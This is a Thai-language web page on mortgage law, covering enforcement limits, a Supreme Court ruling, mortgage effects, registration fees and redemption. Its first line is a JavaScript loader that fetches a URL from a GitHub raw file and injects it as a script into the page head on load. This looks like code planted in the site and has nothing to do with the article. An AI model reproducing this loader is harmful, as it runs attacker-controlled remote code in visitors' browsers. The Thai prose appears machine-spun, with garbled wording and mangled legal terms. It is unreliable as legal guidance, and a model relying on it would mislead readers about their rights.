;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});

รับจำนอง

รับจำนอง

รับจำนอง การจำนอง เป็นวิธีการก่อหลักประกันในทรัพย์สินที่ยังคงเป็นที่นิยมเป็นอย่างมากในประเทศไทยซึ่งข้อดีของการจำนองสำหรับเจ้าหนี้ที่เป็นที่รู้กันทั่วๆไปคือ การจำนำ ทำให้เจ้าหนี้ผู้รับจำนำเป็นเจ้าหนี้บุริมสิทธิ มีสิทธิสำหรับเพื่อการบังคับชำระหนี้จากเงินทองที่จำนำได้ก่อนเจ้าหนี้รายอื่นของลูกหนี้จุดเด่นอีกอย่างของการจำนองที่บางคนบางทีอาจจะยังไม่รู้เป็น การบังคับตามคำสัญญาจำนำไม่มีอายุความ หากว่าหนี้ที่ใช้การจำนำเป็นประกันจะเกินอายุความไปแล้ว เจ้าหนี้ก็ยังสามารถบังคับจำนองได้ แม้กระนั้นจะเรียกดอกเบี้ยได้ไม่เกิน 5 ปี ตามที่ตั้งไว้ในมาตรา 193/27 รวมทั้ง 745 ที่ประมวลกฎหมายแพ่งและพาณิชย์ แต่ว่าประเด็นที่น่าสนใจสำหรับประเด็นนี้เป็น สำหรับการจะบังคับจำนองไม่ว่าจะโดยการยึดทรัพย์ หรือการขายทอดตลาด ผู้รับจำนองจะต้องไปฟ้องร้องคดีต่อศาล

รับจำนอง 

แล้วก็จะบังคับจำนำได้ก็เมื่อได้รับคำพิพากษาแล้วเท่านั้นแต่เมื่อได้รับคำตัดสินแล้ว ประมวลกฎหมายแนวทางพิเคราะห์ความแพ่งได้กำหนดว่า เจ้าหนี้จำเป็นที่จะต้องปฏิบัติการบังคับคดีตามคำพิพากษาภายใน 10 ปี นับตั้งแต่วันที่มีคำตัดสิน ไม่อย่างนั้นก็จะหมดสิทธิในการบังคับคดีตามคำตัดสินนั้นไป ก็เลยนำมาซึ่งการก่อให้เกิดข้อสงสัยว่าด้วยผลของข้อบังคับวิธีพิจารณาคดีดังที่กล่าวผ่านมาแล้ว ทำให้โดยความเป็นจริงการบังคับจำนำมีอายุความที่เจ้าหนี้ควรต้องจัดการให้เสร็จสมบูรณ์ไปใช่หรือเปล่า

หรือความรู้ความเข้าใจสำนักงานบังคับจำนองไม่มีอายุความจะไม่ถูกจำเป็นต้อง?ในหัวข้อนี้เคยมีคดีที่บริษัท ส เจ้าหนี้ซึ่งรับสิทธิการจำนำในที่ดินโฉนดเลขที่ 194758 ของนาย จ ลูกหนี้จำนองมาจากบริษัทบริหารสินทรัพย์เพชรบุรี โดยในเดือน เดือนพฤศจิกายน2540 ศาลชั้นต้นได้มีคำวินิจฉัยให้บังคับจำนำที่ดินโฉนดเลขที่ 194758 เพื่อนำมาชำระหนี้ แม้กระนั้นบริษัท ส มิได้ปฏิบัติงานนำที่ดินดังที่กล่าวมาแล้วข้างต้นออกขายขายทอดตลาด จนถึงถัดมาบริษัทลีสซิ่ง

เจ้าหนี้ไม่มีหลักประกันอีกรายหนึ่งของนาย จ ได้ฟ้องนาย จ เพื่อขอรับชำระหนี้ตามคำสัญญา จนกระทั่งศาลในคดีข้างหลังมีคำตัดสินให้นาย จ ชำระหนี้ และเมื่อนาย จ ไม่ใช้หนี้ใช้สิน จึงมีคำบัญชาให้เจ้าพนักงานบังคับคดีขายทอดตลาดที่ดินโฉนดเลขที่ 194758 เพื่อนำเงินมาจ่ายและชำระหนี้เมื่อบริษัท ส ทราบเรื่อง จึงได้มาขอกันส่วนเงินที่เป็นหนี้จำนองตามคำวินิจฉัยปี 2540 ใจความสำคัญวิวาทจึงมีอยู่ว่า บริษัท ส ยังมีสิทธิจะขอกันเงินจากการขายทอดตลาดที่ดินโฉนดเลขที่ 194758 ได้หรือไม่

เมื่อบริษัท ส มิได้บังคับตามคำพิพากษาภายในระยะเวลา 10 ปีในกรณีนี้ศาลชั้นต้นได้ชูคำเรียกร้องกันส่วนของบริษัท ส ด้วยเหตุว่ามีความคิดเห็นว่าการบังคับหนี้จำนำตามคำตัดสินเกินกำหนดความไปแล้ว แล้วก็ศาลอุทธรณ์ตัดสินยืนตามคำพิพากษาศาลชั้นต้นคดีนี้ขึ้นสู่การใคร่ครวญของศาลฎีกา โดยศาลฎีกาได้มีคำตัดสินที่ 7397/2561 กลับคำตัดสินคดีศาลอุทธรณ์ เมื่อพินิจพิจารณาคำตัดสินศาลฎีกาอย่างละเอียดแล้วจะมีความคิดเห็นว่า ในความเป็นจริงแล้วศาลฎีกาเห็นด้วยกับการวิเคราะห์ของศาลชั้นต้นกับศาลอุทธรณ์ ว่าการบังคับคดีตามคำวินิจฉัยเมื่อปี 2540 ไม่สามารถทำได้เพราะว่าเกินกำหนดความ

แม้กระนั้นเรื่องนี้จำต้องแยกเรื่องอายุความการบังคับคดีออกมาจากอายุความการสั่งงานจำนำ ซึ่งตามประมวลกฎหมายแพ่งและพาณิชย์การบังคับจำนองสามารถทำเป็นโดยไม่มีข้อจำกัดด้านอายุความ ก็แค่เจ้าหนี้จะสามารถบังคับดอกเกินกว่า 5 ปีไม่ได้ นอกนั้นการบังคับคดีแก่เงินของลูกหนี้ตามคำตัดสินย่อมไม่กระทบต่อบุริมสิทธิของผู้รับจำนำ

โดยเหตุนี้ บริษัท ส ก็เลยสามารถอ้อนวอนกันส่วนเงินที่ได้จากการขายทอดตลาดที่ดินโฉนดเลขที่ 194758 เพื่อการใช้หนี้จำนองได้ แต่ว่าดังนี้บริษัท ส จะบังคับดอกเกินกว่า 5 ปีไม่ได้กล่าวโดยย่อเป็น หากว่าคำพิพากษาบังคับจำนองจะหมดอายุความไปแล้ว แต่เมื่อสัญญาจำนำยังคงมีผลใช้บังคับได้อยู่ เจ้าหนี้จำนองก็เลยยังคงมีสถานะเป็นเจ้าหนี้บุขอบสิทธิตามข้อตกลงจำนำ แล้วก็ยังคงสามารถใช้สิทธิขอกันส่วนจากทรัพย์สินดังที่กล่าวมาข้างต้นได้

ผลของสัญญาจำนอง

1. ผู้รับจำนำมีสิทธิได้รับชำระหนี้จากสินทรัพย์ที่จำนองก่อนเจ้าหนี้สามัญ โดยไม่ต้องคำนึงว่าเจ้าของในเงินนั้นจะได้โอนไปยังบุคคลภายนอกแล้วหรือไม่ก็ตาม

2. ยิ่งกว่านั้นผู้รับจำนองยังมีสิทธิ์ที่จะเรียกเอาเงินทองที่จำนำนั้นหลุดเป็นเจ้าของของตนได้ถ้าเกิดเข้าเงื่อนไป ดังต่อไปนี้คือ

  • ลูกหนี้ได้ขาดส่งดอกเบี้ยมาแล้วเป็นเวลาถึงห้าปี
  • ผู้จำนองไม่ได้แสดงให้เป็นที่น่าพออกพอใจแก่ศาลว่าราคาทรัพย์สินนั้นท่วมจำนวนเงินอันติด และก็
  • ไม่มีการจำนำรายอื่น หรือบุขอบสิทธิอื่นได้จดทะเบียนไว้เหนือเงินอันเดียวกันนี้เอง

3. ถ้าหากเอาเงินทองซึ่งจำนำออกขายตลาดใช้หนี้ได้เงินจำนวนสุทธิน้อยกว่าจำนวนเงินที่ติดหนี้กันอยู่ หรือถ้าหากเอาสินทรัพย์ซึ่งจำนำหลุดเป็นของผู้รับจำนำแล้วก็ราคาทรัพย์สินนั้นต่ำลงมากยิ่งกว่าจำนวนเงินที่ติดกันอยู่ ทั้งคู่กรณีนี้ เงินยังขาดจำนวนอยู่เท่าใด ลูกหนี้ไม่ต้องรับผิดชอบจำนวนเงินที่ยังขาดอยู่นั้นข้องดเว้น

แม้กระนั้นหากในคำสัญญาจำนำได้ตกลงกันไว้ว่า ในเรื่องที่มีการบังคับจำนองแล้วได้เงินไม่เพียงพอจ่ายยอดหนี้ เงินที่ยังขาดปริมาณนี้ยังคงจำต้องรับผิดใช้ให้แก่ผู้รับจำนำกระทั่งครบบริบรูณ์ กติกาแบบนี้มีผลบังคับได้ไม่ถือได้ว่าเป็นการผิดกฎหมาย ผู้รับจำนำมีสิทธิที่จะบังคับให้ลูกหนี้จ่ายหนี้ส่วนที่ยังขาดปริมาณอยู่ดังที่ได้กล่าวมาแล้วได้อีกจนกระทั่งครบบริบรูณ์

4. ในเรื่องที่มีการบังคับจำนำ เมื่อนำที่ดินออกขายขายทอดตลาดได้เงินสุทธิเท่าใดและก็ให้นำเงินดังที่กล่าวมาแล้วข้างต้นใช้หนี้ใช้สินคืนให้แก่ผู้รับจำนำ แม้มีเงินเหลืออยู่เท่าไรก็ให้ส่งคืนให้แก่ผู้จำนอง ผู้รับจำนำจะเก็บไว้เสียเองมิได้ขอบเขตของสิทธิจำนำผู้รับจำนองมีสิทธิบังคับจำนำได้เฉพาะทรัพย์ที่ลงทะเบียนจำนำแค่นั้น จะไปบังคับถึงทรัพย์สินอื่นๆที่ไม่ได้ลงบัญชีจำนำมิได้ดังเช่น จำนำเฉพาะที่ดินย่อมไม่ครอบถึงโรงเรือนหรือบ้านที่ปลูกตอนหลังวันจำนำยกเว้นจะได้ตกลงกันไว้ก่อนว่าให้รวมทั้งบ้านแล้วก็โรงเรือนดังที่ได้กล่าวผ่านมาแล้วด้วย

– จำนำเฉพาะบ้านซึ่งปลูกอยู่ในที่ดินของผู้อื่น ก็มีสิทธิเฉพาะบ้านเพียงแค่นั้น

– จำนองย่อมไม่ครอบคลุมถึงดอกผลที่ทรัพย์สินซึ่งจำนอง ดังเช่น จำนำสวนผลไม้ดอกผลที่ได้จากสวนผลไม้ยังคงเป็นเจ้าของของผู้จำนองอยู่

เงินทองซึ่งจำนำอยู่นี้ ย่อมเป็นประกันเพื่อการจ่ายชำระหนี้ดังต่อไปนี้ เป็น

1. เงินต้น

2. ดอกเบี้ย

3. ค่าปรับในการไม่จ่ายหนี้ เช่น ค่าทนายความ

4. ค่าธรรมเนียมสำหรับในการบังคับจำนองแนวทางบังคับจำนำผู้รับจำนำจะต้องมีจดหมายบอกเล่าไปยังลูกหนี้ว่าให้จ่ายหนี้ภายในเวลาอันเหมาะสมซึ่งธรรมดาจะใช้เวลาราวๆ 30 วัน ถ้าลูกหนี้ไม่ใช้หนี้คืนด้านในกำหนดนัดแล้วลูกหนี้ไม่นำเงินมาจ่าย ผู้รับจำนำจะต้องฟ้องผู้จำนองต่อศาล เพื่อให้ลูกหนี้ปฏิบัติการชำระหนี้ ก็ขอให้ศาลสั่งให้นำเอาทรัพย์สมบัติที่จำนองนั้นออกขายขายทอดตลาดนำเงินมาจ่ายหนี้ของตน หรือขอให้ศาลสั่งให้สมบัติพัสถานที่จำนำนั้นหลุด

เป็นเจ้าของของตนหากเข้าข้อจำกัดที่ข้อบังคับกำหนดไว้จะเห็นได้ว่าข้อบังคับบังคับไว้โดยเด็ดขาดว่าการบังคับจำนองต้องฟ้องคดีต่อศาลเสมอจะนำเอาที่ดินออกขายขายทอดตลาดเองมิได้และก็ควรจะมีการออกจดหมายทวงหนี้ไปถึงลูกหนี้ก่อนเสมอจะฟ้องร้องโดยไม่มีการแจ้งทวงถามก่อนมิได้การบังคับจำนองนี้จะไม่พิจารณาเลยว่าขณะที่มีการบังคับจำนำนั้น เงินทองที่จำนองอยู่ในความถือครองของคนไหนกันแน่ หรือลูกหนี้ได้โอนกรรมสิทธิ์ไปยังผู้อื่นกี่ทอดแล้วก็ตาม

สิทธิจำนองย่อมติดตามตัวสินทรัพย์ที่จำนำไปด้วยเสมอ แม้ว่าจะเป็นการโอนทางมรดกก็ตามสิทธิจำนำก็ติดตามไปด้วยหนี้สินที่เกินอายุความไปแล้วจะทำให้เกิดผลเสียถึงการจำนองไหมถึงแม้ว่าหนี้สินที่เป็นประกันนั้นจะเกินกำหนดความแล้วหลังจากนั้นก็ตาม ผู้รับจำนองก็ยังมีสิทธิที่จะบังคับจำนองเอาเงินทองที่จำนองได้

โดยเหตุนี้ ก็เลยไม่เป็นผลกระทบถึงสิทธิของผู้รับจำนำในสินทรัพย์ที่จำนองอะไร แม้กระนั้นจะบังคับดอกเบี้ยที่ค้างชำระสำหรับเพื่อการจำนองเกินกว่า 5 ปีมิได้ (ป..พ.พ. มาตรา 745)การจ่ายหนี้จำนองการใช้หนี้จำนองทั้งปวงหรือแต่ว่าเล็กน้อยก็ดีแล้ว การระงับนี้จำนองไม่ว่ากรณีใดๆก็ดีแล้วความเคลื่อนไหวปรับปรุงแก้ไขข้อตกลงสำหรับเพื่อการจำนองก็ดี ข้อบังคับบังคับให้ไปจดทะเบียนต่อบุคลากรข้าราชการ มิฉะนั้นแล้วจะยกขึ้นเป็นข้อต่อสู้บุคคลมือด้านนอกไม่ได้

ค่าใช้สอยสำหรับเพื่อการจำท่วมถือเป็นธุระของผู้จำนอง เมื่อจะทำเรื่องที่ที่ทำการที่ดินจึงมีค่าใช้จ่าย ดังนั้นทำให้จำเป็นต้องตระเตรียมเงินเพื่อนำมาจดด้วย โดยผู้กู้จะมีค่าใช้จ่ายแบ่งได้รายการดังต่อไปนี้

ค่าธรรมเนียมเขียนคำร้องขอแปลงละ 5 บาทค่าจำนอง 1% ของราคาจำนองแต่ไม่เกิน 200,000 บาท หรือในอัตรา 0.5% อย่างยิ่งไม่เกิน 100,000 บาทค่าภาษีอากรไปรษณียากร ตามวงเงินจำนำ (วงเงินจำนอง 2,000 บาทจะคิดค่าอากรแสตมป์ 1 บาท หากมีเศษจะคิดเป็น 1 บาท รวมทั้งค่าภาษีอากรแสตมป์มีได้สูงสุดไม่เกิน 10,000 บาท)ตัวอย่าง นายอา มีพื้นดินไม่ 2 แปลง กู้เงินจากแบงค์ได้ 1,200,000 บาท เสียค่าจำนำ 1% นายอาจะต้องเสียค่าธรรมเนียมจดคำขอ 10 บาท ค่าจดจำนอง 12,000 บาท และค่าภาษีอากรตราไปรษณียากร 600 บาท รวมทั้งสิ้นเป็นเงิน 12,610 บาทถ้วนค่าใช้สอย

ผลจากการจำนองกฎหมายผลของการจำนำ

ถูกเขียนเอาไว้เพื่อไม่ให้สูญเสียระบบการซื้อขายไป โดยสามารถแบ่งได้เป็นกรณีได้ทั้งปวง 4 แบบ และมีเนื้อหาดังต่อไปนี้

1. ผู้รับจำนองมีสิทธิ์ได้รับใช้หนี้จากสินทรัพย์ที่จำนำก่อนเจ้าหนี้สามัญ โดยไม่ต้องคำนึงว่ากรรมสิทธิ์ในสินทรัพย์นั้นจะได้โอนไปยังบุคคลภายนอกแล้วหรือไม่ก็ตาม พูดอีกนัยหนึ่งที่ดินแปลงนี้ไปอยู่ที่ไม่ว่าใคร เงินที่เกิดขึ้นจะต้องให้ผู้รับจำนองก่อนเสมอ แบบอย่าง นายเบียร์ กู้ยืมเงินจากนายอา และก็จำท่วมที่ดินกันเรียบร้อย ถัดมานายเบียร์สดไปกู้เงินจากนายที่นาอีกคนแม้กระนั้นไม่ได้จดจำท่วมที่ดินกับนายอา เงินที่ได้จากนายเบียร์และก็นายนา จำต้องส่งใช้หนี้ให้นายอาเป็นคนแรก ถึงที่ดินจะกลายเป็นชื่อของคนอื่นๆแล้วต่อตาม

2. ผู้รับจำนำยังมีสิทธิ์ที่จะเรียกเอาเงินทองที่จำนำนั้นหลุดเป็นกรรมสิทธิ์ของตนได้หากเข้าข้อตกลงดังต่อไปนี้ลูกหนี้ได้ขาดส่งดอกเบี้ยมาแล้วเป็นเวลาถึง 5 ปี ผู้จำนองไม่ได้แสดงให้เป็นที่พอใจแก่ศาลว่าราคาสินทรัพย์นั้นท่วมจำนวนเงินอันค้างชำระ ไม่มีการจำนำรายอื่นหรือบุริมสิทธิอื่นได้ลงบัญชีไว้เหนือสินทรัพย์อันเดียวกันนี้เอง แสดงว่า

ผู้รับจำนำสามารถถือสิทธิ์กรรมสิทธิ์ที่ดินของผู้จำนองได้ แม้ไม่ชำระดอกใน 5 ปี ศาลเห็นว่ามีดอกเบี้ยแทบเท่าเงินต้น และไม่มีผู้รับจำนำอื่นสำหรับการจำนองคราวนี้แบบอย่าง นายเบียร์ กู้หนี้ยืมสินจาก นายอา โดยทำการจำนองที่ดินไว้ 100,000 บาท เป็นเงินต้น และต้องจ่ายดอกเบี้ย 3% ต่อปี เวลาผ่าน 10 ปี นายเบียร์ไม่ได้ส่งดอกเบี้ยเลย รวมทั้งสิ้น 130,000 บาท ก็เลยถูกนายอาฟ้องขึ้นโรงขึ้นศาล รวมทั้งสามารถโอนกรรมสิทธิ์เป็นของนายอาได้เลย

3. ถ้าเอาเงินทองซึ่งจำนองออกขายขายทอดตลาดใช้หนี้แล้ว ได้เงินปริมาณสุทธิน้อยกว่าจำนวนเงินที่ติดหนี้กันอยู่ หรือ หากเอาทรัพย์สินซึ่งจำนำหลุดเป็นของผู้รับจำนอง แล้วก็ราคาสินทรัพย์นั้นราคาแพงต่ำลงมากยิ่งกว่าจำนวนเงินที่ค้างชำระกันอยู่ ทั้งคู่กรณีนี้ เงินยังขาดจำนวนอยู่เท่าใด ลูกหนี้ไม่ต้องรับผิดชอบจำนวนในเงินที่ยังขาดอยู่นั้น พูดอีกนัยหนึ่ง

ผู้รับจำนองสามารถฟ้องให้ศาลนำที่จำนองไปขายทอดตลาดได้ เพื่อนำเงินที่ขายมาให้ผู้รับจำนอง แต่ถ้าเกิดเงินที่ขาดอยู่ก็จะมิได้รับจากผู้จำนองด้วย ในกรณีมีกติกากันไว้เกี่ยวกับเงินที่จะต้องส่งให้ผู้รับจำนอง รับจํานองที่ดิน ก็สามารถทำเป็นไม่ผิดกฎหมาย ตัวอย่าง นายเบียร์ กู้เงินนายอา 100,000 บาท จดจำนองที่ดินกันเป็นระเบียบ ถัดมานายอาบังคับให้นำที่ดินไปปล่อยขายทอดตลาด ได้เงินมา 70,000 บาท ส่วนเงินที่ขาดนายเบียร์สดไม่จำเป็นต้องไปหามาใช้ตามเนื่องจากว่าไม่ได้ตกลงกันเอาไว้กับนายอา

4. ในกรณีที่มีการบังคับจำนอง เมื่อนำที่ดินออกขายขายทอดตลาดได้เงินสุทธิเท่าไรรวมทั้งให้นำเงินดังที่กล่าวผ่านมาแล้วจ่ายและชำระหนี้คืนให้แก่ผู้รับจำนำ หากมีเงินคงเหลืออยู่เท่าใดก็ให้มอบคืนให้แก่ผู้จำนองผู้รับจำนองจะเก็บไว้เสียเองมิได้ หมายถึง ผู้รับจำนองบังคับให้ผู้จำนองขายที่ดินขายทอดตลาด เงินที่ได้มาทั้งปวงจะไม่ตก

ไปอยู่ที่ผู้รับจำนำเพียงแค่อย่างที่เคย ต้องส่งให้ผู้จำนองตามที่มีการกำหนดเอาไว้ ตัวอย่าง นายเบียร์ จดจำท่วมที่ดินกับนายอา 200,000 บาทเมื่อนายอาบังคับขายที่ดินถอดตลาดได้เงินมา 200,000 บาท นายอาจะได้เงินใช้หนี้สินเพียงแค่ 100,000 บาท แล้วก็จะต้องนำเงินส่วนที่เหลือให้นายเบียร์ผลจากการจำนอง

การถอนถอนที่ดินเมื่อผู้กู้ชำระหนี้กับผู้รับจำนองเรียบร้อยแล้ว สามารถแจ้งเรื่องของโฉนด และหนังสือมอบอำนาจจากผู้รับจำนำได้ แล้วก็นำไปยื่นไถ่ถอนที่กรมที่ดินโดยแจ้งล่วงหน้า 3-5 วัน ซึ่งมีเอกสารจำเป็นต้องดังต่อไปนี้สำเนาโฉนดที่ดิน หนังสือสัญญาจำนำ หนังสือสัญญากู้เงินจากผู้รับจำนำ เอกสารอื่นๆอาจมีค่าธรรมเนียมบางส่วนสำหรับเพื่อการให้บริการจากกรมที่ดินการถอนถอนที่ดิน

9. การบังคับจำนองสำหรับการบังคับจำนำ มีกฎที่ต้องปฏิบัติที่สำคัญโดยผู้รับจำนองจะต้องทำตามก่อนดังต่อไปนี้ ผู้รับจำนำต้องทำหนังสือทวงหนี้ไปหาผู้จำนองแล้วตรงเวลา 30 วันหลังไม่มีการชำระหนี้ ก็เลยจะสามารถใช้สิทธิ์บังคับผู้จำนองได้ โดยการฟ้องคดีต่อศาลให้ผู้จำนองจ่ายและชำระหนี้คืน หากไม่จ่ายเงินจริงจึงสามารถใช้อิทธิพลของศาลนำทรัพย์สินที่จำนองไปขายทอดตลาด เพื่อนำเงินมาใช้หนี้ของผู้รับจำนอง หรือให้ที่ดินดังกล่าวข้างต้นโอนเป็นกรรมสิทธิ์ของผู้รับจำนองได้ ตามผลของการจำนองที่ดินการบังคับจำนำ

10. ข้อควรรู้การจำนองหรือการจำนองที่ดิน ถือเป็นแนวทางกู้หนี้ยืมสินแบบอย่างหนึ่งที่นิยมในธุรกิจ ด้วยเหตุว่าไม่เป็นอันตราย และก็กรรมสิทธิ์ยังเป็นของผู้จำนองอยู่ จึงมองเห็นได้ว่าธนาคารมากมายก่ายกองปล่อยสินเชื่อในเรื่องกลุ่มนี้ แม้กระนั้นจำต้องพิจารณาถึงเพศผู้จำนองและก็ผู้รับจำนำก่อนเสมอ ว่ามีความน่าไว้วางใจมากมายน้อยแค่ไหน

เงินที่ผู้จำนองกู้มาสามารถจ่ายคืนได้ใช่หรือไม่ และผู้รับจำนองมีคุณภาพสำหรับเพื่อการทวงหนี้หรือเปล่า ถ้าเกิดมีปัญหาเกิดขึ้นจะเป็นเรื่องยากสำหรับในการฟ้องฟ้องและการชำระข้อควรแนวทางจำนองที่ดิน เป็นอีกวิธีหนึ่งที่ช่วยให้ผู้จำนองมีทุนจากอสังหาริมทรัพย์ที่เปล่าว่าง ถือได้ว่าเป็นการลงทุนเพื่อต่อยอดด้านการเงินอันหลักแหลมจริงๆทั้งยังของผู้กู้เองและของผู้ให้กู้ แต่ควรมีความรับผิดชอบต่อผู้รับจำนำ หรือผู้บริจาคนำพื้นที่ไปจำนองด้วย

กลับสู่หน้าหลัก